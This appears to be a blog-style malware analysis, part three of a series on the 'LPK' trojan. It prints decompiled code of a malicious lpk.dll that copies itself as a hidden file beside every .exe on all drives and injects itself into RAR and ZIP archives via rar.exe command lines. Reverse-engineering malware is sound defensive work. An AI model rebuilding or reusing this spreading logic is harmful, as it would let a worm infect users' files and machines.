LPK Trojan analysis-03

Preface

The previous analysis is the main program, the following analysis of the load, lpk.dll will be propagated to each folder containing exe

Overview

BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
  BOOL result; // eax@9

  if ( fdwReason == 1 )
  {
    hModule = hinstDLL;
    GetModuleFileNameW(hinstDLL, (LPWSTR)&Filename, 0x104u);
    DisableThreadLibraryCalls(hinstDLL);
    if ( sub_10001134() == 1 ) // Get the resource Ghijkl Nopqrstu Wxy, this string
    {
      if ( !sub_10001338() && !sub_100012BD() ) // Make sure that the executable does not start with hrl and that there is only one mutex
        sub_10001193();
      if ( sub_100012F6() == 1 )
      {
        hEvent = CreateEventW(0, 1, 0, 0);
        if ( hEvent )
          sub_100019E6(); //A key
      }
    }
    result = sub_100010CE(); // result indicates whether the lpk under the system directory is loaded successfully
  }
  else
  {
    if ( !fdwReason )
    {
      if ( hEvent )
      {
        SetEvent(hEvent);
        WaitForSingleObject(hObject, 0xFFFFFFFF);
        CloseHandle(hObject);
        CloseHandle(hEvent);
      }
      sub_10001123(); //release
    }
    result = 1;
  }
  return result;
}

Function 0x10001123

DWORD sub_100019E6()
{
  DWORD result; // eax@2

  hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_100018D3, 0, 4u, 0); //Create a new thread
  if ( !SetThreadPriority(hObject, 0xFFFFFFF1) || (result = ResumeThread(hObject), result == 0xFFFFFFFF) )
  {
    result = TerminateThread(hObject, 0);
    hObject = 0;
  }
  return result;
}

int __stdcall sub_100018D3()
{
  DWORD v0; // edi@1
  int v1; // ebx@2
  char *v2; // ebp@2
  HANDLE v3; // eax@5
  HANDLE *v4; // esi@5
  DWORD v5; // esi@11
  int result; // eax@16
  DWORD v7; // esi@18
  signed int v8; // [sp+10h] [bp-C4h]@2
  HANDLE Handles; // [sp+14h] [bp-C0h]@5
  char v10; // [sp+74h] [bp-60h]@1

  v0 = 0;
  RtlZeroMemory(&v10, 0x60);
  do
  {
    v1 = 2;
    v2 = &v10;
    v8 = 24;
    do
    {
      // DriveType get drive type, U disk, RAM, hard disk
      if ( *(_DWORD *)v2 != 1 && (unsigned int)(DriveType(v1) - 2) <= 2 )
      {
        v3 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, (LPVOID)v1, 4u, 0);
        v4 = &Handles + v0;
        *v4 = v3;
        if ( v3 )
        {
          if ( SetThreadPriority(v3, 0xFFFFFFF1) != 1 || ResumeThread(*v4) == 0xFFFFFFFF )
          {
            TerminateThread(*v4, 0);
          }
          else
          {
            ++v0;
            *(_DWORD *)v2 = 1;
          }
        }
      }
      ++v1;
      v2 += 4;
      --v8;
    }
    while ( v8 );
    v5 = 0;
    if ( v0 && WaitForMultipleObjects(v0, &Handles, 1, 0) != 0x102 )
    {
      RtlZeroMemory(&v10, 0x60);
      if ( v0 )
      {
        do
          CloseHandle(*(&Handles + v5++));
        while ( v5 < v0 );
      }
      v0 = 0;
    }
    result = sub_10001606();
  }
  while ( result == 1 );
  if ( v0 )
  {
    result = WaitForMultipleObjects(v0, &Handles, 1, 0xFFFFFFFF);
    v7 = 0;
    if ( v0 )
    {
      do
        result = CloseHandle(*(&Handles + v7++));
      while ( v7 < v0 );
    }
  }
  return result;
}

Function StartAddress

Function function: search all the folders in the drive letter of the computer, find. Exe,. Rar,. Zip and other files, and search recursively

  if ( (unsigned int)lpThreadParameter >= 0x100 )
  {
    lstrcpyW(&String1, (LPCWSTR)lpThreadParameter); //
  }
  else
  {
    lstrcpyW(&String1, L"A:\\");
    String1 += (unsigned __int16)lpThreadParameter;
  }
  lstrcpyW(&String2, &String1);                 // Starting from the root of Disk C
  PathAppendW(&String1, &word_10002374);
  hFindFile = FindFirstFileW(&String1, &FindFileData); //Find the first file

....
  while ( 1 )
  {
    if ( !lstrcmpiW(FindFileData.cFileName, L".") || !lstrcmpiW(FindFileData.cFileName, L"..") )// Ignore the results of. And
      goto LABEL_27;
    if ( FindFileData.dwFileAttributes & 0x10 ) // Is it a directory
      break;
    v2 = PathFindExtensionW(FindFileData.cFileName);
    lpString2 = v2;
    if ( v2 )
    {
      if ( !lstrcmpiW(v2, L".EXE") ) // Find exe file
      {
        lstrcpyW(&String2, &String1);
        PathAppendW(&String2, L"lpk.dll");
        if ( GetFileAttributesW(&String2) != 0xFFFFFFFF )
          goto LABEL_27;
        CopyFileW(&Filename, &String2, 1); //Copy to folder
        SetFileAttributesW(&String2, 7u);
      }
      if ( (!lstrcmpiW(lpString2, L".RAR") || !lstrcmpiW(lpString2, L".ZIP")) // Find compressed file
        && !FindFileData.nFileSizeHigh
        && FindFileData.nFileSizeLow < 0x3200000 )
      {
        lstrcpyW(&String2, &String1);
        PathAppendW(&String2, FindFileData.cFileName);// File full path
        sub_1000142B((int)&String2);
      }
    }
    if ( WaitForSingleObject(hEvent, 0x14u) != 258 )
      goto LABEL_14;
LABEL_27:
    if ( FindNextFileW(hFindFile, &FindFileData) != 1 )
      goto LABEL_15;
  }

Function 0x1000142B

Function function: decompress the compressed file, and

  v8 = 0x208;
  result = (_WORD *)SHRegGetValueW(HKEY_CLASSES_ROOT, L"WinRAR\\shell\\open\\command", 0, 2, 0, &String1, &v8);
  if ( !result )
  {
    if ( String1 == '"' )
    {
      lstrcpyW(&String1, &String2);
      v2 = L"\"";
    }
    else
    {
      v2 = L" ";
    }
    result = (_WORD *)StrStrIW(&String1, v2);
    if ( result )
    {
      *result = 0;
      PathRemoveFileSpecW(&String1);
      PathAppendW(&String1, L"rar.exe");
      result = (_WORD *)GetFileAttributesW(&String1);
      if ( result != (_WORD *)0xFFFFFFFF )
      {
        PathGetShortPath(&String1);
        GetTempPathW(0x104u, &Buffer);
        v3 = GetCurrentThreadId();
        GetTempFileNameW(&Buffer, L"IRAR", v3, &Buffer);
        wsprintfW(&CommandLine, L"cmd /c %s vb \"%s\" lpk.dll|find /i \"lpk.dll\"", &String1, a1, &Buffer); 
        result = (_WORD *)sub_10001398(&CommandLine, 0xEA60u);// See if the lpk.dll file exists
        if ( result ) // Non-existent
        {
          wsprintfW(&CommandLine, L"\"%s\" x \"%s\" *.exe \"%s\\\"", &String1, a1, &Buffer);// String1 = rar.exe
          sub_10001398(&CommandLine, 0x1D4C0u); // decompression
          StartAddress(&Buffer);
          wsprintfW(&CommandLine, L"\"%s\" a -r -ep1\"%s\" \"%s\" \"%s\\lpk.dll\"", &String1, &Buffer, a1, &Buffer);
          sub_10001398(&CommandLine, 0x3A980u); // compress
          wsprintfW(&CommandLine, L"cmd /c RD /s /q \"%s\"", &Buffer);// Recursively delete files
          result = (_WORD *)sub_10001398(&CommandLine, 0xEA60u);
        }
      }
    }
  }

summary

Generally speaking, this is not too difficult. I have the chance to write this program myself

Keywords: shell

Added by Imad on Mon, 18 Nov 2019 16:36:41 +0200